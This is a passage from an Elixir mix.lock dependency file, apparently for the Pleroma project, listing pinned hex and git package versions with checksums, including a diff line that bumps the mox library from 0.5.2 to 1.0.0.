	"bcrypt_elixir": {:hex, :bcrypt_elixir, "2.2.0", "3df902b81ce7fa8867a2ae30d20a1da6877a2c056bfb116fd0bc8a5f0190cea4", [:make, :mix], [{:comeonin, "~> 5.3", [hex: :comeonin, repo: "hexpm", optional: false]}, {:elixir_make, "~> 0.6", [hex: :elixir_make, repo: "hexpm", optional: false]}], "hexpm", "762be3fcb779f08207531bc6612cca480a338e4b4357abb49f5ce00240a77d1e"},
	"benchee": {:hex, :benchee, "1.0.1", "66b211f9bfd84bd97e6d1beaddf8fc2312aaabe192f776e8931cb0c16f53a521", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}], "hexpm", "3ad58ae787e9c7c94dd7ceda3b587ec2c64604563e049b2a0e8baafae832addb"},
	"bunt": {:hex, :bunt, "0.2.0", "951c6e801e8b1d2cbe58ebbd3e616a869061ddadcc4863d0a2182541acae9a38", [:mix], [], "hexpm", "7af5c7e09fe1d40f76c8e4f9dd2be7cebd83909f31fee7cd0e9eadc567da8353"},
	"cachex": {:hex, :cachex, "3.2.0", "a596476c781b0646e6cb5cd9751af2e2974c3e0d5498a8cab71807618b74fe2f", [:mix], [{:eternal, "~> 1.2", [hex: :eternal, repo: "hexpm", optional: false]}, {:jumper, "~> 1.0", [hex: :jumper, repo: "hexpm", optional: false]}, {:sleeplocks, "~> 1.1", [hex: :sleeplocks, repo: "hexpm", optional: false]}, {:unsafe, "~> 1.0", [hex: :unsafe, repo: "hexpm", optional: false]}], "hexpm", "aef93694067a43697ae0531727e097754a9e992a1e7946296f5969d6dd9ac986"},
	"calendar": {:hex, :calendar, "1.0.0", "f52073a708528482ec33d0a171954ca610fe2bd28f1e871f247dc7f1565fa807", [:mix], [{:tzdata, "~> 0.5.20 or ~> 0.1.201603 or ~> 1.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "990e9581920c82912a5ee50e62ff5ef96da6b15949a2ee4734f935fdef0f0a6f"},
	"captcha": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/elixir-captcha.git", "e0f16822d578866e186a0974d65ad58cddc1e2ab", [ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"]},
	"castore": {:hex, :castore, "0.1.7", "1ca19eee705cde48c9e809e37fdd0730510752cc397745e550f6065a56a701e9", [:mix], [], "hexpm", "a2ae2c13d40e9c308387f1aceb14786dca019ebc2a11484fb2a9f797ea0aa0d8"},
	"certifi": {:git, "https://github.com/certifi/erlang-certifi", "e08b12e8993502240c25b78563993776f87ecd2a", [tag: "2.5.1"]},
	"combine": {:hex, :combine, "0.10.0", "eff8224eeb56498a2af13011d142c5e7997a80c8f5b97c499f84c841032e429f", [:mix], [], "hexpm", "1b1dbc1790073076580d0d1d64e42eae2366583e7aecd455d1215b0d16f2451b"},
	"comeonin": {:hex, :comeonin, "5.3.1", "7fe612b739c78c9c1a75186ef2d322ce4d25032d119823269d0aa1e2f1e20025", [:mix], [], "hexpm", "d6222483060c17f0977fad1b7401ef0c5863c985a64352755f366aee3799c245"},
	"concurrent_limiter": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/concurrent_limiter.git", "d81be41024569330f296fc472e24198d7499ba78", [ref: "d81be41024569330f296fc472e24198d7499ba78"]},
	"connection": {:hex, :connection, "1.0.4", "a1cae72211f0eef17705aaededacac3eb30e6625b04a6117c1b2db6ace7d5976", [:mix], [], "hexpm", "4a0850c9be22a43af9920a71ab17c051f5f7d45c209e40269a1938832510e4d9"},
	"cors_plug": {:hex, :cors_plug, "2.0.2", "2b46083af45e4bc79632bd951550509395935d3e7973275b2b743bd63cc942ce", [:mix], [{:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "f0d0e13f71c51fd4ef8b2c7e051388e4dfb267522a83a22392c856de7e46465f"},
	"cowboy": {:hex, :cowboy, "2.8.0", "f3dc62e35797ecd9ac1b50db74611193c29815401e53bac9a5c0577bd7bc667d", [:rebar3], [{:cowlib, "~> 2.9.1", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, "~> 1.7.1", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm", "4643e4fba74ac96d4d152c75803de6fad0b3fa5df354c71afdd6cbeeb15fac8a"},
	"cowboy_telemetry": {:hex, :cowboy_telemetry, "0.3.0", "69fdb5cf92df6373e15675eb4018cf629f5d8e35e74841bb637d6596cb797bbc", [:rebar3], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "42868c229d9a2900a1501c5d0355bfd46e24c862c322b0b4f5a6f14fe0216753"},
	"cowlib": {:hex, :cowlib, "2.9.1", "61a6c7c50cf07fdd24b2f45b89500bb93b6686579b069a89f88cb211e1125c78", [:rebar3], [], "hexpm", "e4175dc240a70d996156160891e1c62238ede1729e45740bdd38064dad476170"},
	"credo": {:hex, :credo, "1.4.1", "16392f1edd2cdb1de9fe4004f5ab0ae612c92e230433968eab00aafd976282fc", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "155f8a2989ad77504de5d8291fa0d41320fdcaa6a1030472e9967f285f8c7692"},
	"crontab": {:hex, :crontab, "1.1.8", "2ce0e74777dfcadb28a1debbea707e58b879e6aa0ffbf9c9bb540887bce43617", [:mix], [{:ecto, "~> 1.0 or ~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"},
	"crypt": {:git, "https://github.com/msantos/crypt.git", "f63a705f92c26955977ee62a313012e309a4d77a", [ref: "f63a705f92c26955977ee62a313012e309a4d77a"]},
	"custom_base": {:hex, :custom_base, "0.2.1", "4a832a42ea0552299d81652aa0b1f775d462175293e99dfbe4d7dbaab785a706", [:mix], [], "hexpm", "8df019facc5ec9603e94f7270f1ac73ddf339f56ade76a721eaa57c1493ba463"},
	"db_connection": {:hex, :db_connection, "2.2.2", "3bbca41b199e1598245b716248964926303b5d4609ff065125ce98bcd368939e", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}], "hexpm", "642af240d8a8affb93b4ba5a6fcd2bbcbdc327e1a524b825d383711536f8070c"},
	"decimal": {:hex, :decimal, "2.0.0", "a78296e617b0f5dd4c6caf57c714431347912ffb1d0842e998e9792b5642d697", [:mix], [], "hexpm", "34666e9c55dea81013e77d9d87370fe6cb6291d1ef32f46a1600230b1d44f577"},
	"deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm", "ce708e5f094b9cd4e8f2be4f00d2f4250c4095be93f8cd6d018c753894885430"},
	"earmark": {:hex, :earmark, "1.4.3", "364ca2e9710f6bff494117dbbd53880d84bebb692dafc3a78eb50aa3183f2bfd", [:mix], [], "hexpm", "8cf8a291ebf1c7b9539e3cddb19e9cef066c2441b1640f13c34c1d3cfc825fec"},
	"earmark_parser": {:hex, :earmark_parser, "1.4.10", "6603d7a603b9c18d3d20db69921527f82ef09990885ed7525003c7fe7dc86c56", [:mix], [], "hexpm", "8e2d5370b732385db2c9b22215c3f59c84ac7dda7ed7e544d7c459496ae519c0"},
	"ecto": {:hex, :ecto, "3.4.6", "08f7afad3257d6eb8613309af31037e16c36808dfda5a3cd0cb4e9738db030e4", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "6f13a9e2a62e75c2dcfc7207bfc65645ab387af8360db4c89fee8b5a4bf3f70b"},
	"ecto_enum": {:hex, :ecto_enum, "1.4.0", "d14b00e04b974afc69c251632d1e49594d899067ee2b376277efd8233027aec8", [:mix], [{:ecto, ">= 3.0.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:ecto_sql, "> 3.0.0", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:mariaex, ">= 0.0.0", [hex: :mariaex, repo: "hexpm", optional: true]}, {:postgrex, ">= 0.0.0", [hex: :postgrex, repo: "hexpm", optional: true]}], "hexpm", "8fb55c087181c2b15eee406519dc22578fa60dd82c088be376d0010172764ee4"},
	"ecto_sql": {:hex, :ecto_sql, "3.4.5", "30161f81b167d561a9a2df4329c10ae05ff36eca7ccc84628f2c8b9fa1e43323", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.4.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.3.0 or ~> 0.4.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:tds, "~> 2.1.0", [hex: :tds, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "31990c6a3579b36a3c0841d34a94c275e727de8b84f58509da5f1b2032c98ac2"},
	"eimp": {:hex, :eimp, "1.0.14", "fc297f0c7e2700457a95a60c7010a5f1dcb768a083b6d53f49cd94ab95a28f22", [:rebar3], [{:p1_utils, "1.0.18", [hex: :p1_utils, repo: "hexpm", optional: false]}], "hexpm", "501133f3112079b92d9e22da8b88bf4f0e13d4d67ae9c15c42c30bd25ceb83b6"},
	"elixir_make": {:hex, :elixir_make, "0.6.2", "7dffacd77dec4c37b39af867cedaabb0b59f6a871f89722c25b28fcd4bd70530", [:mix], [], "hexpm", "03e49eadda22526a7e5279d53321d1cced6552f344ba4e03e619063de75348d9"},
	"esshd": {:hex, :esshd, "0.1.1", "d4dd4c46698093a40a56afecce8a46e246eb35463c457c246dacba2e056f31b5", [:mix], [], "hexpm", "d73e341e3009d390aa36387dc8862860bf9f874c94d9fd92ade2926376f49981"},
	"eternal": {:hex, :eternal, "1.2.1", "d5b6b2499ba876c57be2581b5b999ee9bdf861c647401066d3eeed111d096bc4", [:mix], [], "hexpm", "b14f1dc204321429479c569cfbe8fb287541184ed040956c8862cb7a677b8406"},
	"ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"},
	"ex_aws": {:hex, :ex_aws, "2.1.6", "41ab8b4caa48035c96d07faa035d2d9de6df480e7e084c054e662ac888dcd4d4", [:mix], [{:configparser_ex, "~> 4.0", [hex: :configparser_ex, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: true]}, {:jsx, "~> 2.8", [hex: :jsx, repo: "hexpm", optional: true]}, {:sweet_xml, "~> 0.6", [hex: :sweet_xml, repo: "hexpm", optional: true]}], "hexpm", "a541bd042c1ee26412bb1e749ddf2a1c327e4fb7e382b1cd227e1b00eed3d469"},
	"ex_aws_s3": {:hex, :ex_aws_s3, "2.0.2", "c0258bbdfea55de4f98f0b2f0ca61fe402cc696f573815134beb1866e778f47b", [:mix], [{:ex_aws, "~> 2.0", [hex: :ex_aws, repo: "hexpm", optional: false]}, {:sweet_xml, ">= 0.0.0", [hex: :sweet_xml, repo: "hexpm", optional: true]}], "hexpm", "0569f5b211b1a3b12b705fe2a9d0e237eb1360b9d76298028df2346cad13097a"},
	"ex_const": {:hex, :ex_const, "0.2.4", "d06e540c9d834865b012a17407761455efa71d0ce91e5831e86881b9c9d82448", [:mix], [], "hexpm", "96fd346610cc992b8f896ed26a98be82ac4efb065a0578f334a32d60a3ba9767"},
	"ex_doc": {:hex, :ex_doc, "0.22.2", "03a2a58bdd2ba0d83d004507c4ee113b9c521956938298eba16e55cc4aba4a6c", [:mix], [{:earmark_parser, "~> 1.4.0", [hex: :earmark_parser, repo: "hexpm", optional: false]}, {:makeup_elixir, "~> 0.14", [hex: :makeup_elixir, repo: "hexpm", optional: false]}], "hexpm", "cf60e1b3e2efe317095b6bb79651f83a2c1b3edcb4d319c421d7fcda8b3aff26"},
	"ex_machina": {:hex, :ex_machina, "2.4.0", "09a34c5d371bfb5f78399029194a8ff67aff340ebe8ba19040181af35315eabb", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "a20bc9ddc721b33ea913b93666c5d0bdca5cbad7a67540784ae277228832d72c"},
	"ex_syslogger": {:hex, :ex_syslogger, "1.5.2", "72b6aa2d47a236e999171f2e1ec18698740f40af0bd02c8c650bf5f1fd1bac79", [:mix], [{:poison, ">= 1.5.0", [hex: :poison, repo: "hexpm", optional: true]}, {:syslog, "~> 1.1.0", [hex: :syslog, repo: "hexpm", optional: false]}], "hexpm", "ab9fab4136dbc62651ec6f16fa4842f10cf02ab4433fa3d0976c01be99398399"},
	"excoveralls": {:hex, :excoveralls, "0.12.3", "2142be7cb978a3ae78385487edda6d1aff0e482ffc6123877bb7270a8ffbcfe0", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "568a3e616c264283f5dea5b020783ae40eef3f7ee2163f7a67cbd7b35bcadada"},
	"fast_html": {:hex, :fast_html, "2.0.4", "4910ee49f2f6b19692e3bf30bf97f1b6b7dac489cd6b0f34cd0fe3042c56ba30", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "3bb49d541dfc02ad5e425904f53376d758c09f89e521afc7d2b174b3227761ea"},
	"fast_sanitize": {:hex, :fast_sanitize, "0.2.2", "3cbbaebaea6043865dfb5b4ecb0f1af066ad410a51470e353714b10c42007b81", [:mix], [{:fast_html, "~> 2.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "69f204db9250afa94a0d559d9110139850f57de2b081719fbafa1e9a89e94466"},
	"flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"},
	"floki": {:hex, :floki, "0.27.0", "6b29a14283f1e2e8fad824bc930eaa9477c462022075df6bea8f0ad811c13599", [:mix], [{:html_entities, "~> 0.5.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm", "583b8c13697c37179f1f82443bcc7ad2f76fbc0bf4c186606eebd658f7f2631b"},
	"gen_smtp": {:hex, :gen_smtp, "0.15.0", "9f51960c17769b26833b50df0b96123605a8024738b62db747fece14eb2fbfcc", [:rebar3], [], "hexpm", "29bd14a88030980849c7ed2447b8db6d6c9278a28b11a44cafe41b791205440f"},
	"gen_stage": {:hex, :gen_stage, "0.14.3", "d0c66f1c87faa301c1a85a809a3ee9097a4264b2edf7644bf5c123237ef732bf", [:mix], [], "hexpm"},
	"gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"},
	"gettext": {:hex, :gettext, "0.18.0", "406d6b9e0e3278162c2ae1de0a60270452c553536772167e2d701f028116f870", [:mix], [], "hexpm", "c3f850be6367ebe1a08616c2158affe4a23231c70391050bf359d5f92f66a571"},
	"gun": {:git, "https://github.com/ninenines/gun.git", "921c47146b2d9567eac7e9a4d2ccc60fffd4f327", [ref: "921c47146b2d9567eac7e9a4d2ccc60fffd4f327"]},
	"hackney": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/hackney.git", "7d7119f0651515d6d7669c78393fd90950a3ec6e", [ref: "7d7119f0651515d6d7669c78393fd90950a3ec6e"]},
	"html_entities": {:hex, :html_entities, "0.5.1", "1c9715058b42c35a2ab65edc5b36d0ea66dd083767bef6e3edb57870ef556549", [:mix], [], "hexpm", "30efab070904eb897ff05cd52fa61c1025d7f8ef3a9ca250bc4e6513d16c32de"},
	"html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"},
	"http_signatures": {:hex, :http_signatures, "0.1.0", "4e4b501a936dbf4cb5222597038a89ea10781776770d2e185849fa829686b34c", [:mix], [], "hexpm", "f8a7b3731e3fd17d38fa6e343fcad7b03d6874a3b0a108c8568a71ed9c2cf824"},
	"httpoison": {:hex, :httpoison, "1.6.2", "ace7c8d3a361cebccbed19c283c349b3d26991eff73a1eaaa8abae2e3c8089b6", [:mix], [{:hackney, "~> 1.15 and >= 1.15.2", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "aa2c74bd271af34239a3948779612f87df2422c2fdcfdbcec28d9c105f0773fe"},
	"idna": {:git, "https://github.com/benoitc/erlang-idna", "6cff72747821110169ecfac871b0c69e5064afff", [tag: "6.0.0"]},
	"inet_cidr": {:hex, :inet_cidr, "1.0.4", "a05744ab7c221ca8e395c926c3919a821eb512e8f36547c062f62c4ca0cf3d6e", [:mix], [], "hexpm", "64a2d30189704ae41ca7dbdd587f5291db5d1dda1414e0774c29ffc81088c1bc"},
	"jason": {:hex, :jason, "1.2.2", "ba43e3f2709fd1aa1dce90aaabfd039d000469c05c56f0b8e31978e03fa39052", [:mix], [{:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "18a228f5f0058ee183f29f9eae0805c6e59d61c3b006760668d8d18ff0d12179"},
	"joken": {:hex, :joken, "2.2.0", "2daa1b12be05184aff7b5ace1d43ca1f81345962285fff3f88db74927c954d3a", [:mix], [{:jose, "~> 1.9", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "b4f92e30388206f869dd25d1af628a1d99d7586e5cf0672f64d4df84c4d2f5e9"},
	"jose": {:hex, :jose, "1.10.1", "16d8e460dae7203c6d1efa3f277e25b5af8b659febfc2f2eb4bacf87f128b80a", [:mix, :rebar3], [], "hexpm", "3c7ddc8a9394b92891db7c2771da94bf819834a1a4c92e30857b7d582e2f8257"},
	"jumper": {:hex, :jumper, "1.0.1", "3c00542ef1a83532b72269fab9f0f0c82bf23a35e27d278bfd9ed0865cecabff", [:mix], [], "hexpm", "318c59078ac220e966d27af3646026db9b5a5e6703cb2aa3e26bcfaba65b7433"},
	"libring": {:hex, :libring, "1.4.0", "41246ba2f3fbc76b3971f6bce83119dfec1eee17e977a48d8a9cfaaf58c2a8d6", [:mix], [], "hexpm"},
	"linkify": {:hex, :linkify, "0.4.1", "f881eb3429ae88010cf736e6fb3eed406c187bcdd544902ec937496636b7c7b3", [:mix], [], "hexpm", "ce98693f54ae9ace59f2f7a8aed3de2ef311381a8ce7794804bd75484c371dda"},
	"majic": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/majic.git", "4c692e544b28d1f5e543fb8a44be090f8cd96f80", [ref: "4c692e544b28d1f5e543fb8a44be090f8cd96f80"]},
	"makeup": {:hex, :makeup, "1.0.3", "e339e2f766d12e7260e6672dd4047405963c5ec99661abdc432e6ec67d29ef95", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "2e9b4996d11832947731f7608fed7ad2f9443011b3b479ae288011265cdd3dad"},
	"makeup_elixir": {:hex, :makeup_elixir, "0.14.1", "4f0e96847c63c17841d42c08107405a005a2680eb9c7ccadfd757bd31dabccfb", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm", "f2438b1a80eaec9ede832b5c41cd4f373b38fd7aa33e3b22d9db79e640cbde11"},
	"meck": {:hex, :meck, "0.8.13", "ffedb39f99b0b99703b8601c6f17c7f76313ee12de6b646e671e3188401f7866", [:rebar3], [], "hexpm", "d34f013c156db51ad57cc556891b9720e6a1c1df5fe2e15af999c84d6cebeb1a"},
	"metrics": {:git, "https://github.com/benoitc/erlang-metrics", "c6eb4dcf29f9e907539915e2ab996f40c2ec7e8e", [tag: "1.0.1"]},
	"mime": {:hex, :mime, "1.4.0", "5066f14944b470286146047d2f73518cf5cca82f8e4815cf35d196b58cf07c47", [:mix], [], "hexpm", "75fa42c4228ea9a23f70f123c74ba7cece6a03b1fd474fe13f6a7a85c6ea4ff6"},
	"mimerl": {:git, "https://github.com/benoitc/mimerl", "5a1b22a8fada5b3b40438da00a6923cb87a42bbc", [tag: "1.2.0"]},
	"mochiweb": {:hex, :mochiweb, "2.18.0", "eb55f1db3e6e960fac4e6db4e2db9ec3602cc9f30b86cd1481d56545c3145d2e", [:rebar3], [], "hexpm"},
	"mock": {:hex, :mock, "0.3.5", "feb81f52b8dcf0a0d65001d2fec459f6b6a8c22562d94a965862f6cc066b5431", [:mix], [{:meck, "~> 0.8.13", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm", "6fae404799408300f863550392635d8f7e3da6b71abdd5c393faf41b131c8728"},
	"mogrify": {:hex, :mogrify, "0.7.4", "9b2496dde44b1ce12676f85d7dc531900939e6367bc537c7243a1b089435b32d", [:mix], [], "hexpm", "50d79e337fba6bc95bfbef918058c90f50b17eed9537771e61d4619488f099c3"},
	- "mox": {:hex, :mox, "0.5.2", "55a0a5ba9ccc671518d068c8dddd20eeb436909ea79d1799e2209df7eaa98b6c", [:mix], [], "hexpm", "df4310628cd628ee181df93f50ddfd07be3e5ecc30232d3b6aadf30bdfe6092b"},
	+ "mox": {:hex, :mox, "1.0.0", "4b3c7005173f47ff30641ba044eb0fe67287743eec9bd9545e37f3002b0a9f8b", [:mix], [], "hexpm", "201b0a20b7abdaaab083e9cf97884950f8a30a1350a1da403b3145e213c6f4df"},
	"myhtmlex": {:git, "https://git.pleroma.social/pleroma/myhtmlex.git", "ad0097e2f61d4953bfef20fb6abddf23b87111e6", [ref: "ad0097e2f61d4953bfef20fb6abddf23b87111e6", submodules: true]},
	"nimble_parsec": {:hex, :nimble_parsec, "0.6.0", "32111b3bf39137144abd7ba1cce0914533b2d16ef35e8abc5ec8be6122944263", [:mix], [], "hexpm", "27eac315a94909d4dc68bc07a4a83e06c8379237c5ea528a9acff4ca1c873c52"},
	"nimble_pool": {:hex, :nimble_pool, "0.1.0", "ffa9d5be27eee2b00b0c634eb649aa27f97b39186fec3c493716c2a33e784ec6", [:mix], [], "hexpm", "343a1eaa620ddcf3430a83f39f2af499fe2370390d4f785cd475b4df5acaf3f9"},
	"nodex": {:git, "https://git.pleroma.social/pleroma/nodex", "cb6730f943cfc6aad674c92161be23a8411f15d1", [ref: "cb6730f943cfc6aad674c92161be23a8411f15d1"]},
	"oban": {:hex, :oban, "2.1.0", "034144686f7e76a102b5d67731f098d98a9e4a52b07c25ad580a01f83a7f1cf5", [:mix], [{:ecto_sql, ">= 3.4.3", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "c6f067fa3b308ed9e0e6beb2b34277c9c4e48bf95338edabd8f4a757a26e04c2"},
	"open_api_spex": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", "f296ac0924ba3cf79c7a588c4c252889df4c2edd", [ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"]},
	"p1_utils": {:hex, :p1_utils, "1.0.18", "3fe224de5b2e190d730a3c5da9d6e8540c96484cf4b4692921d1e28f0c32b01c", [:rebar3], [], "hexpm", "1fc8773a71a15553b179c986b22fbeead19b28fe486c332d4929700ffeb71f88"},
	"parse_trans": {:git, "https://github.com/uwiger/parse_trans.git", "76abb347c3c1d00fb0ccf9e4b43e22b3d2288484", [tag: "3.3.0"]},
	"pbkdf2_elixir": {:hex, :pbkdf2_elixir, "1.2.1", "9cbe354b58121075bd20eb83076900a3832324b7dd171a6895fab57b6bb2752c", [:mix], [{:comeonin, "~> 5.3", [hex: :comeonin, repo: "hexpm", optional: false]}], "hexpm", "d3b40a4a4630f0b442f19eca891fcfeeee4c40871936fed2f68e1c4faa30481f"},
	"phoenix": {:hex, :phoenix, "1.5.6", "8298cdb4e0f943242ba8410780a6a69cbbe972fef199b341a36898dd751bdd66", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_html, "~> 2.13", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 2.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.10", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.2", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:plug_crypto, "~> 1.1.2 or ~> 1.2", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "0dc4d39af1306b6aa5122729b0a95ca779e42c708c6fe7abbb3d336d5379e956"},
	"phoenix_ecto": {:hex, :phoenix_ecto, "4.2.1", "13f124cf0a3ce0f1948cf24654c7b9f2347169ff75c1123f44674afee6af3b03", [:mix], [{:ecto, "~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14.2 or ~> 2.15", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "478a1bae899cac0a6e02be1deec7e2944b7754c04e7d4107fc5a517f877743c0"},
	"phoenix_html": {:hex, :phoenix_html, "2.14.2", "b8a3899a72050f3f48a36430da507dd99caf0ac2d06c77529b1646964f3d563e", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "58061c8dfd25da5df1ea0ca47c972f161beb6c875cd293917045b92ffe1bf617"},
	"phoenix_pubsub": {:hex, :phoenix_pubsub, "2.0.0", "a1ae76717bb168cdeb10ec9d92d1480fec99e3080f011402c0a2d68d47395ffb", [:mix], [], "hexpm", "c52d948c4f261577b9c6fa804be91884b381a7f8f18450c5045975435350f771"},
	"phoenix_swoosh": {:hex, :phoenix_swoosh, "0.3.2", "43d3518349a22b8b1910ea28b4dd5119926d5017b3187db3fbd1a1e05769a851", [:mix], [{:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14", [hex: :phoenix_html, repo: "hexpm", optional: false]}, {:swoosh, "~> 1.0", [hex: :swoosh, repo: "hexpm", optional: false]}], "hexpm", "3e2ac4e883db7af0702d75ba00c19901760e8342b91f8f66e13941de552e777f"},
	"plug": {:hex, :plug, "1.10.4", "41eba7d1a2d671faaf531fa867645bd5a3dce0957d8e2a3f398ccff7d2ef017f", [:mix], [{:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_crypto, "~> 1.1.1 or ~> 1.2", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "ad1e233fe73d2eec56616568d260777b67f53148a999dc2d048f4eb9778fe4a0"},
	"plug_cowboy": {:hex, :plug_cowboy, "2.4.0", "e936ef151751f386804c51f87f7300f5aaae6893cdad726559c3930c6c032948", [:mix], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:cowboy_telemetry, "~> 0.3", [hex: :cowboy_telemetry, repo: "hexpm", optional: false]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "e25ddcfc06b1b76e55af79d078b03cbc86bbcb99ce4e5e0a5e4a8114ee039be6"},
	"plug_crypto": {:hex, :plug_crypto, "1.2.0", "1cb20793aa63a6c619dd18bb33d7a3aa94818e5fd39ad357051a67f26dfa2df6", [:mix], [], "hexpm", "a48b538ae8bf381ffac344520755f3007cc10bd8e90b240af98ea29b69683fc2"},
	"plug_static_index_html": {:hex, :plug_static_index_html, "1.0.0", "840123d4d3975585133485ea86af73cb2600afd7f2a976f9f5fd8b3808e636a0", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "79fd4fcf34d110605c26560cbae8f23c603ec4158c08298bd4360fdea90bb5cf"},
	"poison": {:hex, :poison, "3.1.0", "d9eb636610e096f86f25d9a46f35a9facac35609a7591b3be3326e99a0484665", [:mix], [], "hexpm", "fec8660eb7733ee4117b85f55799fd3833eb769a6df71ccf8903e8dc5447cfce"},
	"poolboy": {:hex, :poolboy, "1.5.2", "392b007a1693a64540cead79830443abf5762f5d30cf50bc95cb2c1aaafa006b", [:rebar3], [], "hexpm", "dad79704ce5440f3d5a3681c8590b9dc25d1a561e8f5a9c995281012860901e3"},
